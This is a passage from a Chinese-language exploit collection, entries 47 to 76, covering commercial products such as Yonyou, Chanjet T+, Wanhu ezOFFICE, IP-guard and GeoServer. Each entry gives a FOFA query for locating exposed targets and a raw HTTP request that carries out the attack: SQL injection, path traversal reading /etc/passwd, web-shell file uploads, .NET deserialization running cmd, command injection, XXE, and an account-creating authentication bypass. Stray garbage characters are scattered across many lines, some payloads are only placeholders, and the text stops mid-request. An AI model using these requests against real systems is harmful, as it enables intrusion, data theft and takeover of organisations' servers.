GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
% h) e% i& N$ ?& r/ }5 u9 h1 a+ _Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
$ {4 |; h7 X7 K  d4 [4 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

+ @3 k8 s8 N- K: M1 v
47. 用友GRP A++Cloud 政府财务云 任意文件读取
$ M* k, J- Y( r  k! s% R; \FOFA：body="/pf/portal/login/css/fonts/style.css"
3 u/ V' k; f, B, ^# i8 DGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
. j% f5 y& H2 _8 uCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' w, N, r5 }2 w+ o, EAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
. N4 u9 C  G. V6 C5 dIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
5 }- n/ W/ N- s2 V, s. YConnection: close

. G/ s# Y6 k9 q, T1 S

48. 用友U8 CRM swfupload 任意文件上传
- E6 p- ^. U% S  K" Z' iFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
& @% g( |. W3 |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* r) I4 H& k$ d/ f7 k& b4 wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
3 F* e; F0 h, n5 V  ^7 _1231
Content-Type: application/octet-stream
: `3 ]4 u/ \+ ?0 |9 r------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--
% O) Y8 v4 P5 K% t

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

4 D# K7 V$ v& ]* T4 ZPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
4 Q5 m& M& m7 t& {Host: x.x.x.x
# Y0 Q6 w- j& ?) H7 y/ k& SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  q0 c0 {$ Z* f! P2 q: a" JContent-Length: 329
) M+ u% C0 U2 b3 D$ \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" F$ z+ Q' q+ @5 N2 A8 FConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

* W3 \4 b8 K, J-----------------------------vvv3wdayqv3yppdxvn3w
5 P: b* H! j, \0 T0 t" v% J7 IContent-Disposition: form-data; name="file"; filename="%s.php "
8 j- n$ N& ]$ x& K6 e5 O( ZContent-Type: application/octet-stream
+ A( f$ q; u' k% m
- q: z1 D0 X+ A# ~& ]3 \wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
# X/ ~8 R* G: a. Y# F
/ ?  Y; q3 q. K4 u2 f+ O! bupload
, X4 B: U4 K2 O- P-----------------------------vvv3wdayqv3yppdxvn3w--


% }+ S" w8 |% [http://x.x.x.x/tmpfile/updB3CB.tmp.php
% q+ W( T, F. i1 r
50. QDocs Smart School 6.4.1 filterRecords SQL注入
# G; [9 a, ]7 w  @) R# tFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
! h2 a9 n& @* kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  M  T* U( ^6 zConnection: close
9 Z2 s2 W% b# W2 y/ K9 `Content-Length: 224
/ W5 N8 l7 [. `Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
) p1 K0 ~$ E$ f5 r0 k7 [0 r
- v% Y* j+ r) S% y  k5 U4 osearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


1 i- C: H. l, W! K51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
8 O( u1 `. t  f! NGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
/ j' ?$ Y" P: I& p5 T  j2 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

- q- K5 t% |& f6 F, w" j
6 h  X8 K8 x7 F7 {( x52. 泛微E-Office json_common.php sql注入
! X& L8 p, w. [- `' d. qFOFA：app="泛微-EOffice"
* p. ?& ^9 U1 B- @POST /building/json_common.php HTTP/1.1
1 H0 m) T6 F4 L0 Z+ oHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
9 F/ x- y5 r% ?  e: }; K/ _Content-Length: 87
- ]1 c- [1 ^% s* vAccept: */*
Accept-Language: en
  s$ Z5 [- f" d$ A& q" U4 ~) \Content-Type: application/x-www-form-urlencoded
; j$ @5 v2 I' l9 I/ |Accept-Encoding: gzip

% P% S( i1 z1 ]tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


7 g$ w! m+ t& c' M53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

# b% p  Y: N% R7 a! E
0 w- W9 S" G6 Y* h7 q# F0 n1 H4 g54. 畅捷通T+ getstorewarehousebystore 远程代码执行
9 n' S' n' B2 J# eFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
( D+ L" ]& M1 P"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
. p: x! H6 t  a: O/ e
* b' z2 }. S/ P& r7 h% N/ E6 T
' Q' \; {3 j8 s* K, o+ x/ Q完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
- Y& p: f! z6 w! g: Y2 l+ W# N; b- AContent-Length: 593

( ?% [" [: m# _3 H& F  `& h! n! n9 I; B{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
; c. G  O3 s9 H" v; _; F  "ObjectInstance":{
% X9 m( J% H; r) C. h2 Z   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
' ^: B; A) Q5 z+ P. t   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
}

  h" j8 M% N/ X" W2 O
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
4 p6 R# x5 U5 k: x+ \( g% @

55. 畅捷通T+ getdecallusers信息泄露
0 U9 T: w* Q; o" }* gFOFA：app="畅捷通-TPlus"
( m6 Y( [% U. D6 x/ o9 \第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
1 }0 @  V$ Z. F: G5 l/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
+ k- l) n" x7 {* w! m1 f- o
; K" ]0 x( I/ w6 r9 v1 y56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
/ x5 x2 f# a# v' I& |, ~( XFOFA: app="畅捷通-TPlus"
' |/ e/ K; ~( S1 l' |: n1 Q; \POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
+ c" g6 u9 t. y, `" O! \% yHost: x.x.x.x
4 j( W8 U! i0 C* F! ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
/ x1 r4 p, A1 `: V) _Content-Type: application/json
8 A( z+ s; |+ _- K
1 Q, v9 y  {, @{
9 R7 H# x8 [: x6 ^: D  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
2 ^- N7 e9 m$ u* f9 w    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
: Q% v, |( D! M$ F! S           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
$ G* G; S0 v' n( S    }
6 G& A! g& r+ M/ p  }
% j( p( Y( Y2 p$ |7 u; V}

" U& S5 k  ~/ o0 y' b' R: @: f  g
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
* n* G1 R6 Y: jGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
; \' ]( ^# o: d/ B4 `0 wHost: host
& n# e% F9 r4 z1 o' y& G! |: mUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

' H0 X+ T) u0 s1 l$ Q7 n/ ~
3 T& k# r, H! S0 e( Y: E7 N9 T58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
" z# a3 H5 x0 ~1 N* WUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ o! r% l* u. {: Q* ?, aAccept-Charset: utf-8
5 m+ J: Z) M* I" V3 l1 e. U$ uAccept-Encoding: gzip, deflate
Connection: close

8 L% F% m/ U/ A+ R
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
) S( q" @0 F9 l# TUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
# Z+ S. S  Y0 s0 ?8 L% b/ B8 s& VAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
6 r9 c' x% c: l0 A- U& d; lAccept-Encoding: gzip
) O/ L4 Z# K6 f( F
PAYLOAD
/ l+ D5 G' V3 E

60. 百卓Smart管理平台 importexport.php SQL注入
: T- m- P% s  R) R! [3 T8 CFOFA：title="Smart管理平台"
8 z6 b- q. n& o( l- MGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
% A# O5 T; b1 g; y2 G# C" T; J' A1 Z" W2 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: N" T9 ^$ y0 ?! E8 w8 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, T/ a! p4 A6 c$ GAccept-Language: zh-CN,zh;q=0.9
Connection: close
1 [$ I! |) d" z' S0 b. Z- t# ~1 h! p

* G+ ~. d6 n( ~5 X61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
' T  g1 t. \1 V+ f6 r+ }' ]FOFA: title="欢迎使用浙大恩特客户资源管理系统"
5 P6 r  d' y' L! {' f7 @POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
6 b( c# z# b* VHost: x.x.x.x
7 n# c3 Q5 s  J- T5 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
5 A. ?2 G% q- N. ~9 I; cAccept-Language: en
/ [: d- x5 `, i- K8 F/ g2 y& FContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
" T4 b/ D8 n7 {0 K( j  }8 I* v
% b) O, i: b8 K  b( H: @: \  p
+ Z  W/ q) Q7 |; U( w2 y, C4 Y7 Y62. IP-guard WebServer 远程命令执行
* r% \$ l1 O; |/ n7 JFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
' x( X& i; _# J( k8 G# F4 GAccept-Language: en
  L1 s* S2 C6 G4 e5 O4 D7 O1 MAccept-Encoding: gzip


0 G" A1 Q9 \3 f1 W* B* d" O, y5 l5 k# a访问

5 }2 W2 Q$ p# e+ K- h4 r, aGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
0 f/ k6 z) T$ p. H

63. IP-guard WebServer任意文件读取
" i2 Y: \. f% g) f1 c) dIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
1 s) {+ l8 d0 _/ c5 NPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
* q+ `, F$ k' t" u+ ?" b; VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
8 G5 _& H0 X5 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& E0 t4 G; E+ r5 @! Q4 tAccept-Encoding: gzip, deflate
- z- A7 i( c6 cAccept-Language: zh-CN,zh;q=0.9
Connection: close
8 k+ t; z" \# F$ X# g2 R. gContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
  q( l; b( H$ Z8 g% N9 I  \
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
7 Y( b$ d6 a- D4 G1 vPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
2 y/ x* o8 u! JAccept: */*
5 G4 H/ r+ {5 `* _' G5 h5 u& ]0 QAccept-Language: en
" r. {) w: ?3 W8 A6 [Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
) K& B7 f& {  K, @$ I! d
<?xml version="1.0" encoding="utf-8"?>
* ^# j' u3 ~: o" V  D( Z. f1 L+ o<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
- L! v2 Z) n, m; L) W      <sId>1';waitfor delay '0:0:5'--+</sId>
5 s3 [4 h+ y5 v& {- q$ j    </GetOSpById>
+ Y2 I+ {/ \: r( Q9 a7 b  </soap:Body>
</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
! m+ j* ~9 r5 l8 i5 s; ]5 _; _响应200即成功创建账号test123456/123456
' Q( N2 J0 v) V3 ~. E3 aPOST /SystemMng.ashx HTTP/1.1
# K4 S* G- L% A, j0 D1 GHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
. \9 W( @6 o7 h- f- gAccept-Encoding: gzip, deflate
Accept: */*
  D8 M. b0 }7 D3 @5 jConnection: close
, X% _+ @# T8 C% C5 F- N* [Accept-Language: en
Content-Length: 174
3 s. L2 @1 Q1 M5 H0 s' u0 A9 N+ ?" P% y
! S) t. K" C; Q, V$ G) RoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


* t7 M3 V& Q+ v' c; S# G" F9 ~' i66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

6 P# T3 B1 L3 Z3 y9 e9 Q. kGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
& j: v: l  g! o) y! a1 x5 `/ W, lConnection: close
0 J( e7 l, U4 K( `' R3 e! M0 ZAccept: */*
Accept-Language: en
Accept-Encoding: gzip
) p$ x) {2 r+ Q) L
2 @! r$ q! k1 I; t8 n2 M; r
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

3 W/ _- C( P/ w9 k67. 万户ezOFFICE wpsservlet任意文件上传
1 [. x, T# x- w" a6 gFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
. M, u2 L6 S" IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
2 n% r/ s# x# YConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
  r# i" K: z/ KUpgrade-Insecure-Requests: 1
2 ?& U- |9 H! E% w
0 |/ T- y. R' @8 ?# r1 ]1 i$ f. T--ufuadpxathqvxfqnuyuqaozvseiueerp
7 F0 p, w( _- v1 `$ W! `Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

7 V) y( g: p, g, q, P& e6 Y" m<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
7 {$ }8 q. q/ P( A/ j. ~# l6 t* j, }! Q' B
3 k$ i0 S. A6 p' a5 e
7 T  ~# R$ Q( Y' l4 }& O文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
3 K$ a' E6 F8 }6 ~& Q" ~" w' r
' _1 {- m; \7 s68. 万户ezOFFICE wf_printnum.jsp SQL注入
& Z7 `) k& P; _* y" V$ pFOFA：app="万户ezOFFICE协同管理平台"
6 M! w* b9 {& L9 f7 sGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
8 i# C+ b3 r# P% I$ w) V" @+ E: H2 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
6 W5 M. R' G3 wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' M$ j! m6 D( N2 KConnection: close
3 s; O2 j" \, l% Z* r- ^* z
, W* m# W8 K" J8 }% b
  X, A& x  T! I. X; Q69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
6 J" t9 b: Z; T" VUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( }& ~9 s& x; w; p2 a0 R0 [% JAccept-Encoding: gzip, deflate
Accept: */*
8 C) [8 ~+ y& VConnection: keep-alive


70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
1 e* r6 X6 d/ d: `0 HPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
: q- l* v, D7 L6 I- d$ Q4 fSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
2 k$ M: H1 ~3 h# ~# ?+ XContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
( I0 x* a- {4 M" o# k6 n

" w. k# a( }" x& L- s8 x- ^71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
/ z- m  D$ D! R; kFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
, A& H, }0 U4 vUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


' x+ C+ E$ L$ l" H2 }8 _72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
9 D; w( o$ n. B7 k, IPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
" v8 _- ?, F8 {3 Z/ OHost: 192.168.40.131:8099
; O6 G2 q2 c7 z3 j. b! b5 c% iUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
  A! Y. [, ?- s. w# A. t1 wConnection: close
% D5 k8 z  \2 n: D% X% X- mContent-Length: 583
Content-Type: application/x-www-form-urlencoded
) ?0 u+ j' ^* TAccept-Encoding: gzip
: T. ]2 B% x% l, [# z: u) {2 n
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
! ~: x' S# r2 z4 I& n7 I! p
8 Y3 S$ F+ G6 a' W1 r
% n, r4 `! S1 _# d2 f( Y73. GeoServer wms远程代码执行
3 j$ m# ?6 q% RFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
9 G5 L5 ^" S( S0 IAccept-Encoding: gzip, deflate
' v- b* _# t  j' `& PConnection: close
' u6 s, [9 i( SContent-Type: application/xml
SL-CE-SUID: 3

" Z& M% [  }8 _: }7 ?, ]PAYLOAD

7 v. C" F$ }3 z5 B, g% x
& @2 o3 [- p' W& V4 h74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
* R4 Y5 ]5 ^5 D' uPAYLOAD
$ k! z( G" _0 M8 |( E7 B
% |% ~* t* s  I! z' U5 R% ^* ~75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
: l8 i& t4 E2 _) UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
  [( U- H' P4 a+ oAccept-Language: en
1 l. s' b; m) o# u( h. u# gAccept-Encoding: gzip
  P4 X- `) z5 X4 f1 x& {
( d# _* \' h9 U5 W& u9 s
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
$ s$ {3 G" A; @4 C! x
0 Q+ F: I6 x9 B" G/ |0 t; R! r
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
- l- n1 j7 W! F' H2 fHost: x.x.x.x
4 r- \! W2 j1 I* cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ p6 v$ O! x( o2 d6 C9 Z" K, bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
* F/ O: K, x* ~* ^! V! `0 `
{
! F, G- F2 z/ O# |8 p/ X( h: u"command": "GetFZinfo",
